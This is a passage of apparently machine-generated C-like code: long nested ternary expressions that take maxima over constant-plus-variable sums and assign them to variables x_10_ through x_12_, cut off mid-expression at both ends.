((11.0 + x_37) > ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))? (11.0 + x_37) : ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))))? (((9.0 + x_24) > (20.0 + x_26)? (9.0 + x_24) : (20.0 + x_26)) > ((2.0 + x_27) > ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29))? (2.0 + x_27) : ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29)))? ((9.0 + x_24) > (20.0 + x_26)? (9.0 + x_24) : (20.0 + x_26)) : ((2.0 + x_27) > ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29))? (2.0 + x_27) : ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29)))) : (((3.0 + x_30) > (14.0 + x_35)? (3.0 + x_30) : (14.0 + x_35)) > ((11.0 + x_37) > ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))? (11.0 + x_37) : ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39)))? ((3.0 + x_30) > (14.0 + x_35)? (3.0 + x_30) : (14.0 + x_35)) : ((11.0 + x_37) > ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))? (11.0 + x_37) : ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39)))))? ((((14.0 + x_3) > (5.0 + x_7)? (14.0 + x_3) : (5.0 + x_7)) > ((20.0 + x_8) > ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10))? (20.0 + x_8) : ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10)))? ((14.0 + x_3) > (5.0 + x_7)? (14.0 + x_3) : (5.0 + x_7)) : ((20.0 + x_8) > ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10))? (20.0 + x_8) : ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10)))) > (((14.0 + x_11) > (12.0 + x_14)? (14.0 + x_11) : (12.0 + x_14)) > ((15.0 + x_15) > ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))? (15.0 + x_15) : ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22)))? ((14.0 + x_11) > (12.0 + x_14)? (14.0 + x_11) : (12.0 + x_14)) : ((15.0 + x_15) > ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))? (15.0 + x_15) : ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))))? (((14.0 + x_3) > (5.0 + x_7)? (14.0 + x_3) : (5.0 + x_7)) > ((20.0 + x_8) > ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10))? (20.0 + x_8) : ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10)))? ((14.0 + x_3) > (5.0 + x_7)? (14.0 + x_3) : (5.0 + x_7)) : ((20.0 + x_8) > ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10))? (20.0 + x_8) : ((10.0 + x_9) > (15.0 + x_10)? (10.0 + x_9) : (15.0 + x_10)))) : (((14.0 + x_11) > (12.0 + x_14)? (14.0 + x_11) : (12.0 + x_14)) > ((15.0 + x_15) > ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))? (15.0 + x_15) : ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22)))? ((14.0 + x_11) > (12.0 + x_14)? (14.0 + x_11) : (12.0 + x_14)) : ((15.0 + x_15) > ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))? (15.0 + x_15) : ((16.0 + x_21) > (20.0 + x_22)? (16.0 + x_21) : (20.0 + x_22))))) : ((((9.0 + x_24) > (20.0 + x_26)? (9.0 + x_24) : (20.0 + x_26)) > ((2.0 + x_27) > ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29))? (2.0 + x_27) : ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29)))? ((9.0 + x_24) > (20.0 + x_26)? (9.0 + x_24) : (20.0 + x_26)) : ((2.0 + x_27) > ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29))? (2.0 + x_27) : ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29)))) > (((3.0 + x_30) > (14.0 + x_35)? (3.0 + x_30) : (14.0 + x_35)) > ((11.0 + x_37) > ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))? (11.0 + x_37) : ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39)))? ((3.0 + x_30) > (14.0 + x_35)? (3.0 + x_30) : (14.0 + x_35)) : ((11.0 + x_37) > ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))? (11.0 + x_37) : ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))))? (((9.0 + x_24) > (20.0 + x_26)? (9.0 + x_24) : (20.0 + x_26)) > ((2.0 + x_27) > ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29))? (2.0 + x_27) : ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29)))? ((9.0 + x_24) > (20.0 + x_26)? (9.0 + x_24) : (20.0 + x_26)) : ((2.0 + x_27) > ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29))? (2.0 + x_27) : ((16.0 + x_28) > (3.0 + x_29)? (16.0 + x_28) : (3.0 + x_29)))) : (((3.0 + x_30) > (14.0 + x_35)? (3.0 + x_30) : (14.0 + x_35)) > ((11.0 + x_37) > ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))? (11.0 + x_37) : ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39)))? ((3.0 + x_30) > (14.0 + x_35)? (3.0 + x_30) : (14.0 + x_35)) : ((11.0 + x_37) > ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39))? (11.0 + x_37) : ((13.0 + x_38) > (4.0 + x_39)? (13.0 + x_38) : (4.0 + x_39)))))); x_10_ = (((((14.0 + x_2) > (17.0 + x_4)? (14.0 + x_2) : (17.0 + x_4)) > ((5.0 + x_5) > ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12))? (5.0 + x_5) : ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12)))? ((14.0 + x_2) > (17.0 + x_4)? (14.0 + x_2) : (17.0 + x_4)) : ((5.0 + x_5) > ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12))? (5.0 + x_5) : ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12)))) > (((19.0 + x_15) > (12.0 + x_17)? (19.0 + x_15) : (12.0 + x_17)) > ((16.0 + x_21) > ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))? (16.0 + x_21) : ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23)))? ((19.0 + x_15) > (12.0 + x_17)? (19.0 + x_15) : (12.0 + x_17)) : ((16.0 + x_21) > ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))? (16.0 + x_21) : ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))))? (((14.0 + x_2) > (17.0 + x_4)? (14.0 + x_2) : (17.0 + x_4)) > ((5.0 + x_5) > ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12))? (5.0 + x_5) : ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12)))? ((14.0 + x_2) > (17.0 + x_4)? (14.0 + x_2) : (17.0 + x_4)) : ((5.0 + x_5) > ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12))? (5.0 + x_5) : ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12)))) : (((19.0 + x_15) > (12.0 + x_17)? (19.0 + x_15) : (12.0 + x_17)) > ((16.0 + x_21) > ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))? (16.0 + x_21) : ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23)))? ((19.0 + x_15) > (12.0 + x_17)? (19.0 + x_15) : (12.0 + x_17)) : ((16.0 + x_21) > ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))? (16.0 + x_21) : ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))))) > ((((15.0 + x_25) > (9.0 + x_26)? (15.0 + x_25) : (9.0 + x_26)) > ((18.0 + x_28) > ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31))? (18.0 + x_28) : ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31)))? ((15.0 + x_25) > (9.0 + x_26)? (15.0 + x_25) : (9.0 + x_26)) : ((18.0 + x_28) > ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31))? (18.0 + x_28) : ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31)))) > (((5.0 + x_32) > (5.0 + x_35)? (5.0 + x_32) : (5.0 + x_35)) > ((12.0 + x_36) > ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))? (12.0 + x_36) : ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39)))? ((5.0 + x_32) > (5.0 + x_35)? (5.0 + x_32) : (5.0 + x_35)) : ((12.0 + x_36) > ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))? (12.0 + x_36) : ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))))? (((15.0 + x_25) > (9.0 + x_26)? (15.0 + x_25) : (9.0 + x_26)) > ((18.0 + x_28) > ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31))? (18.0 + x_28) : ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31)))? ((15.0 + x_25) > (9.0 + x_26)? (15.0 + x_25) : (9.0 + x_26)) : ((18.0 + x_28) > ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31))? (18.0 + x_28) : ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31)))) : (((5.0 + x_32) > (5.0 + x_35)? (5.0 + x_32) : (5.0 + x_35)) > ((12.0 + x_36) > ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))? (12.0 + x_36) : ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39)))? ((5.0 + x_32) > (5.0 + x_35)? (5.0 + x_32) : (5.0 + x_35)) : ((12.0 + x_36) > ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))? (12.0 + x_36) : ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39)))))? ((((14.0 + x_2) > (17.0 + x_4)? (14.0 + x_2) : (17.0 + x_4)) > ((5.0 + x_5) > ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12))? (5.0 + x_5) : ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12)))? ((14.0 + x_2) > (17.0 + x_4)? (14.0 + x_2) : (17.0 + x_4)) : ((5.0 + x_5) > ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12))? (5.0 + x_5) : ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12)))) > (((19.0 + x_15) > (12.0 + x_17)? (19.0 + x_15) : (12.0 + x_17)) > ((16.0 + x_21) > ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))? (16.0 + x_21) : ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23)))? ((19.0 + x_15) > (12.0 + x_17)? (19.0 + x_15) : (12.0 + x_17)) : ((16.0 + x_21) > ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))? (16.0 + x_21) : ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))))? (((14.0 + x_2) > (17.0 + x_4)? (14.0 + x_2) : (17.0 + x_4)) > ((5.0 + x_5) > ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12))? (5.0 + x_5) : ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12)))? ((14.0 + x_2) > (17.0 + x_4)? (14.0 + x_2) : (17.0 + x_4)) : ((5.0 + x_5) > ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12))? (5.0 + x_5) : ((1.0 + x_9) > (3.0 + x_12)? (1.0 + x_9) : (3.0 + x_12)))) : (((19.0 + x_15) > (12.0 + x_17)? (19.0 + x_15) : (12.0 + x_17)) > ((16.0 + x_21) > ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))? (16.0 + x_21) : ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23)))? ((19.0 + x_15) > (12.0 + x_17)? (19.0 + x_15) : (12.0 + x_17)) : ((16.0 + x_21) > ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))? (16.0 + x_21) : ((9.0 + x_22) > (5.0 + x_23)? (9.0 + x_22) : (5.0 + x_23))))) : ((((15.0 + x_25) > (9.0 + x_26)? (15.0 + x_25) : (9.0 + x_26)) > ((18.0 + x_28) > ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31))? (18.0 + x_28) : ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31)))? ((15.0 + x_25) > (9.0 + x_26)? (15.0 + x_25) : (9.0 + x_26)) : ((18.0 + x_28) > ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31))? (18.0 + x_28) : ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31)))) > (((5.0 + x_32) > (5.0 + x_35)? (5.0 + x_32) : (5.0 + x_35)) > ((12.0 + x_36) > ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))? (12.0 + x_36) : ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39)))? ((5.0 + x_32) > (5.0 + x_35)? (5.0 + x_32) : (5.0 + x_35)) : ((12.0 + x_36) > ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))? (12.0 + x_36) : ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))))? (((15.0 + x_25) > (9.0 + x_26)? (15.0 + x_25) : (9.0 + x_26)) > ((18.0 + x_28) > ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31))? (18.0 + x_28) : ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31)))? ((15.0 + x_25) > (9.0 + x_26)? (15.0 + x_25) : (9.0 + x_26)) : ((18.0 + x_28) > ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31))? (18.0 + x_28) : ((10.0 + x_30) > (8.0 + x_31)? (10.0 + x_30) : (8.0 + x_31)))) : (((5.0 + x_32) > (5.0 + x_35)? (5.0 + x_32) : (5.0 + x_35)) > ((12.0 + x_36) > ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))? (12.0 + x_36) : ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39)))? ((5.0 + x_32) > (5.0 + x_35)? (5.0 + x_32) : (5.0 + x_35)) : ((12.0 + x_36) > ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39))? (12.0 + x_36) : ((7.0 + x_38) > (7.0 + x_39)? (7.0 + x_38) : (7.0 + x_39)))))); x_11_ = (((((1.0 + x_0) > (15.0 + x_4)? (1.0 + x_0) : (15.0 + x_4)) > ((8.0 + x_11) > ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13))? (8.0 + x_11) : ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13)))? ((1.0 + x_0) > (15.0 + x_4)? (1.0 + x_0) : (15.0 + x_4)) : ((8.0 + x_11) > ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13))? (8.0 + x_11) : ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13)))) > (((17.0 + x_17) > (12.0 + x_18)? (17.0 + x_17) : (12.0 + x_18)) > ((17.0 + x_22) > ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))? (17.0 + x_22) : ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25)))? ((17.0 + x_17) > (12.0 + x_18)? (17.0 + x_17) : (12.0 + x_18)) : ((17.0 + x_22) > ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))? (17.0 + x_22) : ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))))? (((1.0 + x_0) > (15.0 + x_4)? (1.0 + x_0) : (15.0 + x_4)) > ((8.0 + x_11) > ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13))? (8.0 + x_11) : ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13)))? ((1.0 + x_0) > (15.0 + x_4)? (1.0 + x_0) : (15.0 + x_4)) : ((8.0 + x_11) > ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13))? (8.0 + x_11) : ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13)))) : (((17.0 + x_17) > (12.0 + x_18)? (17.0 + x_17) : (12.0 + x_18)) > ((17.0 + x_22) > ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))? (17.0 + x_22) : ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25)))? ((17.0 + x_17) > (12.0 + x_18)? (17.0 + x_17) : (12.0 + x_18)) : ((17.0 + x_22) > ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))? (17.0 + x_22) : ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))))) > ((((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)) > ((17.0 + x_28) > ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32))? (17.0 + x_28) : ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32)))? ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)) : ((17.0 + x_28) > ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32))? (17.0 + x_28) : ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32)))) > (((9.0 + x_33) > (19.0 + x_34)? (9.0 + x_33) : (19.0 + x_34)) > ((19.0 + x_35) > ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))? (19.0 + x_35) : ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39)))? ((9.0 + x_33) > (19.0 + x_34)? (9.0 + x_33) : (19.0 + x_34)) : ((19.0 + x_35) > ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))? (19.0 + x_35) : ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))))? (((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)) > ((17.0 + x_28) > ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32))? (17.0 + x_28) : ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32)))? ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)) : ((17.0 + x_28) > ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32))? (17.0 + x_28) : ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32)))) : (((9.0 + x_33) > (19.0 + x_34)? (9.0 + x_33) : (19.0 + x_34)) > ((19.0 + x_35) > ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))? (19.0 + x_35) : ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39)))? ((9.0 + x_33) > (19.0 + x_34)? (9.0 + x_33) : (19.0 + x_34)) : ((19.0 + x_35) > ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))? (19.0 + x_35) : ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39)))))? ((((1.0 + x_0) > (15.0 + x_4)? (1.0 + x_0) : (15.0 + x_4)) > ((8.0 + x_11) > ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13))? (8.0 + x_11) : ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13)))? ((1.0 + x_0) > (15.0 + x_4)? (1.0 + x_0) : (15.0 + x_4)) : ((8.0 + x_11) > ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13))? (8.0 + x_11) : ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13)))) > (((17.0 + x_17) > (12.0 + x_18)? (17.0 + x_17) : (12.0 + x_18)) > ((17.0 + x_22) > ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))? (17.0 + x_22) : ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25)))? ((17.0 + x_17) > (12.0 + x_18)? (17.0 + x_17) : (12.0 + x_18)) : ((17.0 + x_22) > ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))? (17.0 + x_22) : ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))))? (((1.0 + x_0) > (15.0 + x_4)? (1.0 + x_0) : (15.0 + x_4)) > ((8.0 + x_11) > ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13))? (8.0 + x_11) : ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13)))? ((1.0 + x_0) > (15.0 + x_4)? (1.0 + x_0) : (15.0 + x_4)) : ((8.0 + x_11) > ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13))? (8.0 + x_11) : ((13.0 + x_12) > (6.0 + x_13)? (13.0 + x_12) : (6.0 + x_13)))) : (((17.0 + x_17) > (12.0 + x_18)? (17.0 + x_17) : (12.0 + x_18)) > ((17.0 + x_22) > ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))? (17.0 + x_22) : ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25)))? ((17.0 + x_17) > (12.0 + x_18)? (17.0 + x_17) : (12.0 + x_18)) : ((17.0 + x_22) > ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))? (17.0 + x_22) : ((1.0 + x_24) > (12.0 + x_25)? (1.0 + x_24) : (12.0 + x_25))))) : ((((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)) > ((17.0 + x_28) > ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32))? (17.0 + x_28) : ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32)))? ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)) : ((17.0 + x_28) > ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32))? (17.0 + x_28) : ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32)))) > (((9.0 + x_33) > (19.0 + x_34)? (9.0 + x_33) : (19.0 + x_34)) > ((19.0 + x_35) > ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))? (19.0 + x_35) : ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39)))? ((9.0 + x_33) > (19.0 + x_34)? (9.0 + x_33) : (19.0 + x_34)) : ((19.0 + x_35) > ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))? (19.0 + x_35) : ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))))? (((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)) > ((17.0 + x_28) > ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32))? (17.0 + x_28) : ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32)))? ((1.0 + x_26) > (1.0 + x_27)? (1.0 + x_26) : (1.0 + x_27)) : ((17.0 + x_28) > ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32))? (17.0 + x_28) : ((7.0 + x_29) > (16.0 + x_32)? (7.0 + x_29) : (16.0 + x_32)))) : (((9.0 + x_33) > (19.0 + x_34)? (9.0 + x_33) : (19.0 + x_34)) > ((19.0 + x_35) > ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))? (19.0 + x_35) : ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39)))? ((9.0 + x_33) > (19.0 + x_34)? (9.0 + x_33) : (19.0 + x_34)) : ((19.0 + x_35) > ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39))? (19.0 + x_35) : ((19.0 + x_36) > (20.0 + x_39)? (19.0 + x_36) : (20.0 + x_39)))))); x_12_ = (((((4.0 + x_1) > (13.0 + x_2)? (4.0 + x_1) : (13.0 + x_2)) > ((10.0 + x_4) > ((9.0 + x_6) > (9.0 + x_10)? (9.0 + x_6) : (9.0 + x_10))? (10.0 + x_4) : ((9.0 + x_6) > (9.0 + x_10)? (9.0 + x_6) : (9.0 + x_10)))? ((4.0 + x_1) > (13.0 + x_2)? (4.0 + x_1) : (13.0 + x_2)) : ((10.0 + x_4) > ((9.0 + x_6) > (9.0 + x_10)? (9.0 + x_6) : (9.0 + x_10))? (10.0 + x_4) : ((9.0 + x_6) > (9.0 + x_10)? (9.0 + x_6) : (9.0 + x_10)))) > (((12.0 + x_11) > (1.0 + x_13)? (12.0 + x_11) : (1.0 + x_13)) > ((10.0 + x_14) > ((6.0 + x_15) > (10.0 + x_17)? (6.0 + x_15) : (10.0 + x_17))? (10.0 + x_14) : ((6.0 + x_15) > (10.0 + x_17)? (6.0 + x_15) : (10.0 + x_17)))? ((12.0 + x_11) > (1.0 + x_13)? (12.0 + x_11) : (1.0 + x_13)) : ((10.0 + x_14) > ((6.0 + x_15) > (10.0 + x_17)? (6.0 + x_15) : (10.0 + x_17))? (10.0 + x_14) : ((6.0 + x_15) > (10.0 + x_17)? (6.0 + x_15) : (10.0 + x_17))))? (((4.0 + x_1) > (13.0 + x_2)? (4.0 + x_1) : (13.0 + x_2)) > ((10.0 + x_4) > ((9.0 + x_6) > (9.0 + x_10)? (9.0 + x_6) : (9.0 + x_10))? (10.0 + x_4) : ((9.0 + x_6) > (9.0 + x_10)? (9.0 + x_6) : (9.0 + x_10)))? ((4.0 + x_1) > (13.0 + x_2)? (4.0 + x_1) : (13.0 + x_2)) : ((10.0 + x_4) > ((9.0 + x_6) > (9.0 + x_10)? (9.0 + x_6) : (9.0 + x_10))? (10.0 + x_4) : ((9.0 + x_6) > (9.0 + x_10)? (9.0 + x_6) : (9.0 + x_10)))) : (((12.0 + x_11) > (1.0 + x_13)? (12.0 + x_11) : (1.0 + x_13)) > ((10.0 + x_14) > ((6.0 + x_15) > (10.0 + x_17)? (6.0 + x_15) : (10.0 + x_17))? (10.0 + x_14) : ((6.0 + x_15) > (10.0 + x_17)? (6.0 + x_15) : (10.0 + x_17)))? ((12.0 + x_11) > (1.0 + x_13)? (12.0 + x_11) : (1.0 + x_13)) : ((10.0 + x_14) > ((6.0 + x_15) > (10.0 + x_17)? (6.0 + x_15) : (10.0 + x_17))? (10.0 + x_14) : ((6.0 + x_15) > (10.0 + x_17)? (6.0 + x_15) : (10.0 + x_17))))) > ((((16.0 + x_18) > (15.0 + x_19)? (16.0 + x_18) : (15.0 + x_19)) > ((7.0 + x_21) > ((18.0 + x_24) > (16.0 + x_27)? (18.0 + x_24) : (16.0 + 